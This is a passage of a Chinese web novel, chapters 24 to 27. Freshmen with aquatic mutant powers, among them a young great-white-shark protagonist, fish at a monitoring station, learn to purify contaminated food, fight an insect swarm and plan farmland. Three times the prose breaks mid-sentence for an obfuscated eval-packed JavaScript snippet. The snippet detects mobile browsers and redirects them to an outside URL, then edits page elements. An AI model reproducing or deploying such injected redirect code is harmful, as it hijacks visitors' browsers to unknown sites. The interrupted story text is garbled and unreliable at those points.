带队老师没想到还有自己的问题，缓了两秒才给予肯定答案：“是真的。” 同学们很好奇：“有多好？” 带队老师说道：“每个监测点以及负责的工作不同，待遇会有点区别。这么说吧，但凡是在监测点工作的，干三年，能够在青龙城市中心买房。” 沙伍不为所动：买市中心干嘛？我要的是大海！ 24.第二十四章 三米宝宝 3号监测点，沙伍在空中经过很多次，位于学校的葫芦形内海的腰身位置。 在高空看上去细细的一段，实际是一片非常广袤的平原。 树林、河流、湖泊密布，附近有一个小小的海湾，一个简易的码头，停靠着两三艘不大的船。 沙伍头一回从陆地上过来，下车之后，跟其他同学一样，好奇地打量周围。 高高的隔离栏内，建筑物比青龙学院还要稀疏。 简简单单的平房，相互之间恨不得隔上几公里。 “我们住这一栋。”带队老师指着距离他们最近，且位于监测点最中心位置的五层楼，“一楼是食堂、教室、医疗站、交易点之类的公共设施，二楼是男生宿舍，三楼是女生宿舍，四楼是老师宿舍。异能值B级以下的住西面，A级及以上的住东面。现在查看自己的手环，上面有你们的宿舍门牌号，核对一下信息有没有错误。” 一众学生列队检查，只有隔壁二班有一个举手说自己被安排错了——男生的名字太秀气，被默认为女生，安排到了女生楼层。 沙伍所在的十班没有问题，老师给了他们十分钟放行李，然后就带着他们在监测点转了一圈，介绍一些基本信息。 “你们看到的现在这个监测点，就是很多城市刚开始的雏形。驻守的一代一代的异能战士进行不断开拓、净化，让监测点逐渐变成适合人类生存的地方。”带队老师指着不远处的隔离栏，“隔离栏的防护不是绝对的。在这种污染区域，随时可能会出现超强的变异生物或者污染生物，损伤甚至突破隔离栏。隔离栏内的生物，也可能随时会发生具有攻击性的变异。在这里生存，必须时刻提高警惕。” 老师的声音不大，但是神情非常认真。 学生们听得不由得认真起来，大部分学生开始神经紧绷，对周围的一草一木都警惕起来。 沙伍在这方面神经一向比较粗，主要是在这种低污染区域，能够让他产生威胁感的变异生物还没遇到过。 老师说道：“现在是上午八点，给你们两个小时，去获取今天中午的食材。好了，开始自由活动。” 身高两米体重两百斤的班长，对沙伍充满忧虑：“你就跟着我。” 班长的身板几乎是沙伍的两倍，但沙伍并没有从他的体型上感觉出什么安全感，只能察觉出他的友善：“班长准备去哪儿？” “沙伍，我们组队去吧？” 沙伍的外形实在没有任何攻击性，加上这两天学校报道时候给同学们的帮助，他现在的人缘还挺好的，加上他在班长身边，周围很快就围满了人。 班长反应过来：“这样，我们分两组，一组去陆地，一组去海洋。探测距离尽量不要超过三公里。到时间不管收获多少，都得立刻返回。注意沿途记录生物分布情况……” 25人的班级很快分成两组。 陆地组有20人，海洋组只有5人。 “我们不是水产学院吗？”鱼那么少的？ 一个身形高挑健美的女生说道：“水产也不都是海鲜，有很多河鲜的。” “任务目标的三亩，包含水域吗？”有人伸手问老师。 老师扬声回答：“包含的！” 沙伍看了看隔离栏外相当原生态的环境，内心有些抗拒，等同学们搞清楚状况后，跟随在班长的身侧问：“我们海鲜也要上岸吗？在岸上怎么打架？” 普通人之间的打架，他倒是很熟练。 可对付陆地上的变异生物，他要是变成鲨鱼怎么打？ 鲨鱼又没腿。 海鲜同学们也是一脸愁容，但明显没有沙伍这么愁，见他长得小，纷纷安慰他：“没事，这边距离海近，河流也不少，水系力量充沛，我们用水系异能进行攻击，应该问题不大。” “可是我的水系异能攻击力不高。我高中同学说只能用来冲澡。” “在水下攻击还好一点，直接用异能结合海水，拍也能拍死一两个。” “现在天气还没转凉，外面那堆杂草里变异昆虫不少吧？” “最烦那种小虫子了，数量特别多，怎么杀都杀不干净！” 监测点设备很少，没有足够的小飞车，他们一行人只能步行前往码头。 其他班级也有和他们相同目的地的，走着走着就汇集到一起，很快就聊了起来。 到了岸边，沙伍想都没想，直接跳了下去，速度快到其他人都没反应过来。 这个时间点要是赶巧的话，说不定还能遇上夏华学长。 鲨鱼的三角鳍绕着码头转圈，等了半天没人下水，不由得冒头：“忘记什么事情了吗？” “哦，没有。”同学们下意识回答。 班长问：“水下没什么危险吧？” “没。”轻污染海域他熟。 一群同学在大白鲨的注视下沉默下水。 大白鲨就看见同学们变成水母、海龟、小丑鱼，女同学郑燕珺变成了蓝鳍金枪鱼，班长黄烨磊变成了宽吻海豚。 海豚？！ 大白鲨顿时警惕起来，和海豚班长拉开距离。 班长下意识想去照顾一下瘦弱的同学，往大白鲨身边游过去。 大白鲨飞快游出一段：“别过来！我的鱼翅不好吃！鱼肝油也不好吃！” 海豚班长看了看自己的三米多长六百公斤的体型，再看看同样三米多长将近七百公斤的瘦弱（？）同学：“我不吃同学。” 大白鲨看着海豚班长的小眼神充满怀疑：真的不想咬一口尝尝？ 蓝鳍金枪鱼犹如一道利刃，速度奇快地划过大白鲨和海豚中间：“磨叽什么？赶紧找能吃的。” 剩下的同学们赶紧跟上。 他们并不是完全转化的异能，只是身体的一部分变成水生生物，或者本身就是水系异能。 青龙学院最不缺的就是水系异能，但同样是水系异能，相互之间的差距和应用也可以千差万别。 沙伍本来担心自己会认不出同学，把同学给吃了，这会儿跟这么多千奇百怪的同学在一起，突然感觉到了一点人类异能者和变异生物之间的区别。 “原来人类异能者的感觉比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260751|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有秩序，变异生物的异能比较混乱？” 跟在他身边搭顺风鱼的小丑鱼一脸惊悚：“艹！你分不清人和变异生物？！” 小鲨鱼摆了摆软软的翅尖：“我是这个暑假刚觉醒的，见过的人少，嘿！” “嘿你个头啊！我……” 好多品种的鲨鱼不管能不能吃，见到个东西都会先咬一口尝尝。 特喵的，他这个小身板可经不起鲨鱼的一口。 小鲨鱼看着小丑鱼同学瞬间爆发出了蓝鳍金枪鱼的速度，飞快游到了海豚班长身边。 沙伍也不强求，询问：“你们喜欢吃什么？” 海豚班长不挑：“能吃就行。陌生海域，我们第一天还是悠着点。” “哦。”沙伍不解释他天天在这一片晨练，去寻找自己喜欢吃的食物。 其他人见大白鲨跟大部队远离，纷纷松了一口气。 一班的人鱼少女游过来小声：“吓死我了。明明是同学，给我的压力好大。” 海豚班长倒是察觉出了一点：“沙同学应该是刚觉醒不久，还不能好好收敛自己的异能。好了，我们还是集体活动吧，安全一点。” 五感敏锐的小鲨鱼听到班长的话，假装没听到，尾巴一甩，调整方向。 蓝鳍金枪鱼在海中左右看了看，最后选择跟在明显熟门熟路的小鲨鱼身边：“沙伍，我跟你一起！” “好勒！” 体长接近三米的蓝鳍金枪鱼游在小鲨鱼身边，像是更小一号的抛光的小鲨鱼。 她的速度很快，只是海洋捕猎的经验显然不是很丰富，谨慎地控制着速度，跟随在小鲨鱼附近。 小鲨鱼则完全是一副逛超市的悠闲姿态：“你喜欢吃什么？这边的螃蟹和虾很好吃，虾抓起来比较麻烦，今天可能没时间抓。鱼的话最近有秋刀鱼和鲭鱼，都还比较好吃。” 蓝鳍金枪鱼还没回答，一道阴阳怪气的声音突然说道：“哦，逛街呢？” 小鲨鱼下意识游过去就是一口，把蓝鳍金枪鱼吓了一跳，整条鱼都往海面上蹿了一下：“沙同学，冷静！不能吃人！控制住自己释放变异值的百分比，尽量不要产生精神污染！我去找老师！找净化者！你一定坚持住——” 小鲨鱼莫名其妙，叼着个人回头，想要游过去解释，可惜蓝鳍金枪鱼的爆发速度非常快，已经不见了鱼影。 他把嘴里的小少爷吐掉：“怎么了？”困惑只停留了一瞬间，他马上就把注意力放到姜纶身上，开心地翅尖飘飘，“你不是逃课嘛，怎么来了？” 姜纶显然很满意小鲨鱼的反应：“来给你送饭，你现在不能乱吃外面的东西。” 小鲨鱼亲昵地用嘴巴尖尖戳戳姜纶的胸口：“偶尔吃几顿应该没事吧？院长带我上实践课的时候，不也是在外面吃的？” “让你乱吃东西，怪不得没长到700公斤。”姜纶指了指一个方向，“那边有鱼群。” “走！”小鲨鱼一口咬住姜纶就飞快游走。 不远处战战兢兢的同学们：“活着吧？” “活着。” 25.第二十五章 食品净化器 小鲨鱼像海豚一样跃出水面，落到木制的栈桥上，变成一个少年。 他弯腰朝水下伸手，握住伸出水面的手用力往上一拉，拽出一个年纪相仿却明显已经是成年人体格的帅气青年：“都怪你，鱼都跑光了。” “是你异能不行，发现直接把鱼群圈住不就行了？”姜纶低头，故意用湿漉漉的头发去蹭在沙伍脸上。 沙伍嫌弃地躲开，却被拉住了手，只能用异能给两人弄干：“说的轻巧，你行你上。” “我上就变成鱼酱了。”姜纶看沙伍拽装满了渔获的泡泡，跟着伸手，“我来。” “不用。你别把泡泡戳破了。”移动异能维持的泡泡在海边并不需要多少力气，主要靠的还是异能，他抬眼一看，注意到飞驰而来的同学，“郑燕珺！这里！” 郑燕珺站在一个极其简陋的平板飞车上，落到两人面前：“沙伍，你朋友？” 她想到刚才自己蹿上岸找老师，结果被老师告知沙伍的污染值为零时候的惊讶。 原来男生之间玩闹，瞧着这么凶险的？ “对，姜纶，我室友。”沙伍给他们相互介绍，“郑燕珺，刚才你看到的蓝鳍金枪鱼。” 他看了看郑燕珺带过来的破木板车，把泡泡里的鱼分成了三个泡泡。 郑燕珺对外形出众的姜纶刚刚产生出的一点点好奇心，立刻被好多鱼给吸引，整张小脸都在发光：“太好了！我先送一趟回去！” 她抢了……争取了这辆飞车，本来是不放心沙伍，想着装同学用的，现在用来装渔获更好。 不管飞车的外形多么堪忧，速度比两条腿快多了。 郑燕珺很快就把三个泡泡里的渔获送到了宿舍楼一楼。 姜纶和沙伍还跟在后面走。 小少爷看着简陋无比的监测点，难以理解：“离学院也不远，怎么连一辆像样的小飞车都没有？” “小飞车不是挺贵的？”宿舍用的那种载人载货两用的小飞车，他查过价格，得好几十万，价格够买一辆不错的飞车了。 当然，小飞车占地面积小，载货量不低，必要时还能飚出不下于飞车的速度，性价比还挺高的。 监测点的飞车看上去起码载重量和速度都不错。 “贵吗？”姜纶最近补了一些物价方面的知识，但，“小飞车再贵能贵到哪里去？” 沙伍试图往钻石小少爷的脑子里塞入一些正常物价和收入的常识，走到食堂后才发现里面人不多。 海豚班长海拔高，率先看到沙伍，对他挥挥手：“沙伍，来这里！老师教我们怎么处理变异生物。” 沙伍赶紧加快脚步过去，大大的眼睛里全是问号：“还要怎么处理？”不都是直接吃的吗？还是教杀鱼？ 他跟着夜鹭出远门上课，在海里都是现抓先吃的啊。 其他人没听出他的言外之意，只以为是他在询问处理的步骤。 老师也是这么认为，刚从泡泡里取了一条半米长的鲭鱼出来想讲解，就注意到跟在沙伍身边的姜纶：“姜……同学来了啊。” 姜纶微笑：“李老师好，之前有事情耽误了，没能跟同学们一起来。” 李老师马上恢复了常态，对围在身边的同学们介绍：“来，大家认识一下。这位是我们班的姜纶同学。” 同学们稀稀拉拉地自我介绍了一番，当做是认识。 海豚班长问：“老师，其他同学们还没回来，是不是要等他们回来了再一起说？” 他们抓了一些东西，主要是被小鲨鱼咬人给吓到了，想先找老师，没想到这么一会儿，沙伍已经抓到了足够整个监测点吃的食物，还毫发无伤。 所以这会儿时间还早，从陆路进发的其他同学们还都没回来。 李老师摆了摆手上的鱼：“不用，鱼足够多。一会儿等他们回来了，我再讲一遍。首先，带回来的变异生物要先确定是否带有污染。最简单的方法是用手环测，不过手环的检测精度有限，有条件的情况下，可以使用专门的检测仪器。” 说着，李老师就把鱼放进一旁的一个半人高的透明桶装容器内。 容器和平板飞车一样破，原本可能是无色透明的外壁，透着岁月的黄，还有许多细小的划痕。 容器非常大，沙伍目测能够装下一条小鲨鱼不成问题。 半米长的鲭鱼在里面简直像是米桶里的一粒米。 “这一台是污染监测处理一体机，能够检测并处理低强度的污染值，简称食品净化器。”说着，李老师示意同学们靠过来。 机器上的按钮简单粗暴，上面文字标识已经磨损了，但是问题不大，因为总共就只有两个按钮。 “这个是开始和暂停，这个是结束。”李老师又指了指前面的长条灯，“这是检测指示灯。从红色到绿色，红色代表高污染，到绿色就表示没有污染。” 说到这里，他拍了一下手，“差点忘了。看这里，是净化药剂的投放口。要是净化药剂没了，就及时补充。” 沙伍看着仪器侧面破了一块外壳的地方，用手环记下。 大概是意识到为了一条鲭鱼就开一次机器有点浪费，李老师看了看三个泡泡，直接用异能把一个泡泡里的鲭鱼全都转移进去，里面还混杂了一条嘴里咬着鲭鱼的【鱼师】鱼。 不知道是因为沙伍个子小，还是因为鱼都是他抓的，或者是因为沾了钻石小少爷室友的光，李老师让沙伍来按按钮。 沙伍没有推辞，直接一指头摁上去，还用了点力气：“这个按钮不是很灵敏的样子。” 姜纶凑过来看了一眼：“这破机器都长这个样子了，能灵敏才怪。” 机器发出两声“空哐”的声音，慢腾腾地往容器内开始注水。 李老师指着指示灯的颜色：“喏，现在是淡黄到黄绿色的，说明里面的鱼污染值很低。3号监测点本来就位于轻度污染海域，这个污染值是正常的。不过同学们不要掉以轻心，哪怕在这种海域，虽然可能性极低，也不是没可能遇上一些高污染高变异的个体。” 说话间，机器已经注水结束，然后跟个洗衣机一样搅动起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266177|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 咬着鲭鱼的【鱼师】鱼一会儿转过来，一会儿转过来。 沙伍有些疑惑，把食品净化器的照片发给祁大厨，附消息询问：叔，我们厨房是怎么处理生物污染的？ 根据他活动的区域，带回去的渔获多少会有些污染吧？ 隔了一会儿，祁大厨才回了一条视频。 视频里是一台类似嵌入式蒸箱的机器，污染值数字化显示，处理方便快捷。 祁大厨：【我们家庭用的，用不着那么大的容量。】 虽然祁大厨没明说，但有眼睛的都能看到两台机器之间的技术代差。 机器运行时候的噪声不大，李老师还在继续说明：“一般家庭如果在市场购买食材，都是已经祛除过污染的，用不到食品净化器。不过同学们将来会经常在野外获取一些食材，学校里有专门的机器，记得预先净化后再食用。” 沙伍举手询问：“要是不净化就吃，会有什么后果吗？” 李老师回答：“一般不建议。不过特殊情况下，像是在野外没有条件净化食物，也没有食物补充的情况下，不得已可以吃一些。但是！”他的神色严肃起来，“会对精神产生直接污染。这就意味着，如果在野外，你会面临更大的精神污染风险；如果回到安全地点，你也需要面临更长久的净化治疗，还有可能造成不可逆的精神创伤。” 沙伍没有再追问。李老师说的这些，他在书上看到过一些，但跟他实际接触到的明显不一样。 等李老师演示了一遍怎么使用食品净化器后，就把食材交给厨房机器。 厨房机器的型号倒是不老，但是监测点的调料不多，最终能够选择的菜品有限。 距离午饭时间还早，李老师让他们自由活动。 海豚班长提议：“要不我们去其他同学那里看看？” “好！”提议得到一致通过。 六个人就站在平板飞车上，一路往监测点的大门飞去。 大门口的电子音发出提示：“不许把飞车带出去。” 他们只能下车，改为步行。 监测点外并不全是一片荒原，有明显且相对比较宽阔的道路。 道路两边一人多高的荒草丛生。 他们走在路上，控制着异能形成膜，覆盖住全身，能够有效抵挡变异等级很低的蚊虫叮咬。 沙伍拉着姜纶走在最后，把刚才的疑惑提出：“我们不是直接吃？还吃了不少？回家也没净化治疗啊。” 姜纶四处张望：“傻不傻？你的异能只有你污染它们，哪有被污染的道理？我和院长是什么等级？那种小卡拉米的一点点污染，也想污染我们？” 沙伍大概理解了：“也就是说，异能值相差极大的话，其实是可以忽略污染的？” “可以这么说，但也不绝对。主要还是看异能属性是不是克制污染。你和院长都属于能克制的，我是属于……以毒攻毒？那点污染在我本身的污染面前不值一提。” 沙伍磨了磨牙：“污染值高，还给你骄傲上了。” 26.第二十六章 昆虫云 新生军训大群地图共享。 海豚班长把手环弹出的光屏拉到最大，上面可以清晰地看到两小撮代表十班学生的蓝点，以及几撮代表其他班级学生的绿点。 班长试图点开同班同学蓝点，来观察他们周围的环境，结果失败：“信号不好吗？” 他下意识回看了一眼监测点内高耸的信号塔。 “班长没有相关权限。只有老师在收到救援信号的时候，有权限开启。” 其他人回头，发现说话的是姜纶。 小少爷一身闪闪发光的气质，明明比班长还高一点，却没有班长像是一堵墙似的有压迫感。 他的身份不难猜，同学们之前不是没在心里面嘀咕，原来没异能的小少爷被分到了自己班级什么的，现在瞧着不难相处。 真的难相处就不会被小鲨鱼咬着在海里游了…… 说起来，没异能在污染区域真的没问题吗？ 姜纶现在的情绪有些亢奋：“我们每人三亩地的话，到时候种什么？这边靠近黄河入海口，土质疏松，可以先种一茬苜蓿，接着种花生。” 沙伍没事就被姜纶带着去菜地，多少灌输了一点农业知识，问：“能种花生是不是也能种山药、红薯、土豆什么的？” “不一定。具体肯定还要测，不过肯定是优先改良土壤。苜蓿234号就能有效改善土壤中的污染，并且可以作为绿肥。搭配杨柳50、芦苇27净化更深层土壤和地下水污染。”姜纶看着茫茫多的草，像是在看遍地金子。 他提到的几种植物都是具有净化能力的变异植物，也是已经成熟的人工培育品种。 一提起种地，同学们内心深处某种DNA瞬间被唤醒，眼睛都亮晶晶的。 “我们开拓出来的土地，能自己种植吗？” “太好了，我还没种过地呢。” “等开学了，我们还有时间过来种地吗？” “不是有农业机器？可以全自动+远程监控的吧？” “那万一发生奇怪的变异呢？” “哪有那么容易？” “这种刚开拓的地，出变异和污染植物的概率挺高的吧？成熟的农业基地还时不时冒出来怪物呢。” “没办法，地下水是流通的。” 同学的讨论无比热烈，最后确定：“这条河边上的这块地是我们的，别的班的人想抢，我们就打一架。” “噢！” “噢！” 六个人呼呼喝喝，很快就走到了同班同学所在的区域，也是他们在地图上标记的点位，一瞬间压根看不到人，只看到空中一团灰蒙蒙的“云”。 班长看了看地图，不太确定：“他们是在河里吧？” 地图上看着一条线，实际眼前的河得有百来米宽，看着还不浅。 有人的注意力在灰云上面：“那是什么？” 刚说完，灰云突然就朝他们飞过来，速度奇快。 奇形怪状的昆虫口器三秒内就突破了小丑鱼的膜，在他旁边的班长立刻抓着他跳进河里。 蓝旗金枪鱼接着跳河。 沙伍坚持久一点，但在察觉到“昆虫云”中那些带有腐蚀、锐器冲击、切割等等攻击的方式后，果断选择暂时跳河。 岸上剩下的只有海龟同学，昆虫的攻击对他犹如浮云，根本无法破防，但他还是跳河了。 小丑鱼躲避到他身边：“你也扛不住了？” 海龟同学憨厚笑笑：“这不是为了合群？” 大家都在河里，他一个人待在岸上，感觉被孤立。 靠近河岸的水位低，对于三米长的宝宝们不太友好。 宽吻海豚、蓝鳍金枪鱼和大白鲨宝宝们都在中间深水区，前两者在琢磨怎么攻击回去，后者在跟姜纶吵架。 小鲨鱼指责：“拿出你平时身边一个变异生物都没有的气势来啊！” 姜纶单手搭在小鲨鱼的翅尖上：“恐惧得是有脑子的生物才能有，这群东西有什么脑子？” 鲨鱼皮毛毛糙糙，但作为软骨鱼，小鲨鱼的翅尖有着异乎寻常的柔软。 姜纶扒拉着翅尖来回捏捏。 小鲨鱼被他拉得差点侧翻，本来在河里游泳就已经让他这条咸水鱼不太适应了，还有人捣乱！ 姜纶看出他的暴躁，非但没有收敛，愈发嚣张得刺挠他。 “别逼我咬你啊！”小鲨鱼警告。 小少爷压根不听，蹬鼻子上脸去扒拉他的背鳍。 背鳍这个东西对小鲨鱼是有点特别的，因为人形的时候没有对应的东西。 不像腹鳍对应双手，尾巴对应双腿，人形时候的沙伍背上没有背鳍。 偏偏沙伍很喜欢自己的背鳍，特别喜欢把背鳍露出水面各种耀武扬威。 小鲨鱼的尊严是能随便扒拉的吗？ 姜纶像是没看到小鲨鱼往后瞟的眼神，突然伸出一根手指轻轻在背鳍上竖着划了一下。 小鲨鱼猝不及防，整条鱼都弹跳了一下，把姜纶连着一起带出水面。 空中昆虫云袭来，小鲨鱼想也不想就像对付鱼群一样，一个泡泡罩上去。 待在水中，哪怕是淡水，沙伍也感觉自己操纵异能的能力顺畅了很多。 泡泡里瞬间注满水。 即将突破泡泡的昆虫们被更快速出现的水淹没。 变异昆虫们哪怕对水的抗性提高了很多，不至于一下子淹死，但浑身泡水还是不符合它们的生活习性。 它们在水中变得更为凶狠。 两秒，注满水的泡泡就破开，“轰”地一声，夹带着大量的变异昆虫落入河水。 这一次的攻击发生得非常快，连发动攻击的沙伍都没料到，完全死下意识反应。 汇集在河道里的同学们根本不用谁指挥，瞬间就攻击起落入自己主场的昆虫们。 聚集起来且飞在天上的昆虫很棘手，但是分散落在河水中的昆虫们，尤其是被数吨重的水“砸”进河中的昆虫，完全不是这些大学新生们的对手。 少部分反应迅速的昆虫脱离河道，重新起飞形成昆虫云。 它们再没有脑子，短时间内也不敢在水面停留，“云雾”明显变淡。 拳头大的粉色水母用瞧着无害的纤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277435|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细触须在河道里来回清扫，所过之处的漏网昆虫，全都被清理干净，变成河底的泥沙的一部分。 “说好的蚊子腿再小也是肉呢？压根没肉啊~”水母举着一只比她个头还大的变异蚊子，掰下一条蚊子腿，发出清脆的咔嚓声，研究了一下还是丢开，“压根没肉啊。都是这种东西，中午吃什么？” 宽吻海豚游过去说道：“沙伍抓到了很多海鱼，够我们今天一天吃的了。” 眼看着时间快到十点了，一群同学还是在班长的带领下先返回监测点。 陆地组同学们的收获不多，但品种很繁杂。 各式各样的野菜野果、小型哺乳类，还有一些河鱼。 海洋组的小丑鱼同学在刚才还逮到了一只变异河蚌，正夹在小丑鱼身上。 河蚌的变异等级不高，但小丑鱼被这么猝不及防夹了一下，无论是身体还是心灵都受伤严重，在沙伍友情提供的泡泡里吐着小泡泡，嘴里不断喃喃重复：“我真傻，真的。只顾着在河里杀变异昆虫，忘记河里本来就有的变异生物。” 昆虫云对他们这一行明显又忌惮又记恨，一路尾随。 同学们没有多讨论的心情，抓紧时间返回监测点，才算是松了一口气。 他们把带回来的品种和分布在共享地图上记录，然后在李老师的指导下学习净化食物，以及小丑鱼同学友情提供教具的伤兵救援演示。 中午，大家一起吃了午饭，简单休息一下后，分班级聚集在一起开始上课讨论怎么抢地盘…… “不是，是怎么完成任务！” “考虑到将来种植农作物灌溉需求的话，我们的土地必须贴着、最好是拥有一段河流。” “可是我们选择的这段河流是黄河的支流，要是泛滥的话，肯定会对已经净化好的土地造成新的污染。” “反正我们军训就半个月，半个月内能把这块地净化出来不就行了？后续维护跟我们没关系吧？我们也没学过怎么维护啊。” “我们班有几个净化者？” “陶华是吧？” 被点名的桃花水母一脸茫然：“啊？我吗？我不是啊。”圆脸姑娘娇小可爱，带着一种不谙世事的天真，“我是毒系。” 一个同学把胳膊变成钳子举起来：“我是。”见其他人都看他，重新把钳子变回手，声音放低，“只是我的净化效率很低。” 沙伍认出那是一只虾钳子，只是不确定这位同学究竟是什么虾。 既然是变异虾……不是，是同学的觉醒体，那体型一定很大，看上去很好吃吧？ 虾同学怯生生问：“沙伍，你这么看我是有什么问题？” 沙伍还没反应过来，姜纶掏出手帕给他擦了擦嘴角，微笑：“哦，没什么问题。我家小鲨鱼比较喜欢吃虾。” 虾同学瞬间换了个位置，躲到了班长墙一样的身体后面。 沙伍眼睛发亮：“不愧是虾，弹跳速度真快，肉质一定很弹牙……咳！我不是那个意思！” 虾同学的声音在班长背后传出，听着快要哭出来了：“这个学没法上了……我想回家……” 27.第二十七章 斜杠 学是要上的，地更是要种的。 临时教室内的课桌摆成一圈，中间是班长手环投影的简易地图。 根据他们选择的河段，以及为了方便后续管理，所以必须和监测点相连，最后他们在地图上规划的土地是一条斜杠。 旁听班会的李老师吃惊地看着地图上长超过两公里，宽只有二三十米的土地，还是斜的，完全不明白得是什么脑子才能想出来这么一块地。 哦，这样的脑子他们班级里有26个。 不出意外的话，未来四年时间里，这26个“斜杠”脑子都会是他的责任。 现在辞职还来得及吗？ 听说更偏远的监测点缺人手，实在不行他也可以去开拓新的监测点的。 同学们没管李老师的想法，继续下一个议题。 “我们班有两个净化者。” 虾同学在班长背后伸出钳子：“我。” 另外一位是小丑鱼同学，暂时待在鱼缸里养病，但很坚强地表示：“只要有人帮我搬鱼缸，不影响我用异能净化环境。” 十厘米长的小丑鱼，需要的鱼缸很小。 这会儿鱼缸里放着的不是普通的水，而是修复药剂。 他得在鱼缸里泡足三天才能好。 这么小的鱼缸，随便谁都能抱着。 在确定他真的没问题后，海豚班长说道：“那行。戴金玉，你负责搬鱼缸？” 戴金玉的觉醒体是海龟，听到班长的话后，马上答应下来：“好。交给我放心。” 沙伍不太确定地举手：“那个……” 海豚班长疑惑：“哪个？”小鲨鱼想负责搬鱼缸吗？可是沙伍同学的防御力并不算多突出，强大的攻击力更应该放在驱除变异生物上。 沙伍开口之后就没再犹豫：“要是不需要保留地面上的变异和污染生物，我也可以净化试试。” “啊？”同学们都不太理解，“你一条鲨鱼是净化者？” 净化者给大众的刻板印象都是柔弱的温和的，甚至于小巧的孱弱的。 大白鲨？ 净化者？ 再说净化者就净化者了，不是净化异能还能净化试试？ 海豚班长的好奇心占了上风：“那试试？” 是不是沙伍刚觉醒不久，对异能运用没信心？ 听沙伍的话，似乎也不像。 关于净化者暂时就分工到这里，接下来的议题是组队。 全班26人，异能基本可以分为2.5个净化系、20.5个攻击系、2个防御系、1个钻石系。 两位防御系，海龟负责在陆地上保护两位净化者，田螺负责在水中保护。 负责攻击的同学两两组队，0.5+0.5个沙伍和钻石系组队。 钻石小少爷说道：“我已经定好了需要的植物和机器。哦，明天就会有农机过来，先挖一条灌溉的水渠……方便的话，看一下我规划的农场图纸？” 李老师已经麻了：怎么突然就农场了？ “当然方便。”班长收回自己展示的地图。 桌子中间的空间立刻就出现了一副农场的效果图。 有灌溉的沟渠，净化检测装置，水闸、防护设施等等，和沙伍熟悉的宿舍的菜地相比，略微简陋了一丢丢。 注意到沙伍投来的疑惑眼神，姜纶解释：“一期先这样。周围还有那么大片土地，等大型机械可以入场，再建造起来就会快很多。” 沙伍半懂不懂地点头。 分组结束，本来按照原定行程，这时候他们应该要为了自己的晚餐忙碌，但谁让沙伍抓到的鱼比预想中要多呢？ 所以他们有宽裕的时间进行分组练习。 监测点不像学校，没有专门的异能练习室，就周围的环境而言，也不需要。 他们直接来到了监测点外，纷纷把视线投向沙伍。 沙伍被他们看得莫名其妙：“怎么了？”他不需要和姜纶培养战斗默契，没事的话他想回宿舍补课。 海豚班长指了指眼前污染值显示为3的荒草丛：“你净化一个试试？” 试试就逝世。 沙伍熟练地把自己的异能小鲨鱼就近啃噬一株变异杂草。 杂草的异能杂乱无序且弱小，异能小鲨鱼不需要特意挑选异能破绽，直接一口吞噬。 变异杂草在察觉到危险的时候，卷曲的叶片下方一排尖锐的倒刺直接发动散射，可惜攻击力实在太弱，并不能对同学们的膜造成伤害。 它的攻击只有这一下。 下一秒，整株草发出轻微的爆破声。 离得近的同学们感觉到脚下的土壤轻颤：“根都炸了？” 沙伍对异能的控制本来就是个半吊子，以前用来净化生猛海鲜的结果都是一团鱼酱，现在的杂草体型比海鲜小得多，这一下炸得连草屑都看不到。 “呃……净化得很干净。” 怪不得说不保留土地上的生物，头一次见这么……爆炸性的净化。 “连除草的功夫都省了。” “挺好的。” 沙伍看同学们都能接受，对着刚才班长虚划的大概一平方的地询问：“那我继续？” “继续继续。” 有了刚才的杂草做实验，沙伍大概摸到了一点底，释放出尽可能小的异能鲨鱼，对着杂草一顿净化。 杂草丛顿时发出喀拉咔嚓的声响，不到三秒钟就变成一地淡绿色的粉尘铺在土上，瞧着毛绒绒还怪好看的。 小丑鱼在鱼缸里转圈：“这净化效率可以啊。” 一直躲在班长身后的虾同学这时候也走了出来，蹲在被净化干净（物理）的地方用异能探查：“土壤里的污染也清除了，应该是异能顺着根系一起净化后还有富余，把周边的土壤一起净化了，包括一些变异昆虫和虫卵、草籽。” 非常彻底的斩草除根。 如果是普通的环境净化当然不需要也绝对不可以像沙伍这样来，但现在他们是开荒。 海豚班长觉得很棒，抬手就想拍拍沙伍的肩膀，手还落上去，姜纶就揽着沙伍的肩膀换了个方向：“咦？” 作为拥有S级异能值且从小系统性培训的人，他的身体素质别说是和普通人比，就是和同样S级异能值的异能战士比也不差，怎么反应速度还比不上没有异能的小少爷？ 他看着姜纶和沙伍两人勾肩搭背咬耳朵，抛开心中的一点异样，觉得是自己多想了。 陶华把班长手上的户外污染监测的签子插进土里：“0.3。小于1点可以视为无污染了。” 一次性完全净化是 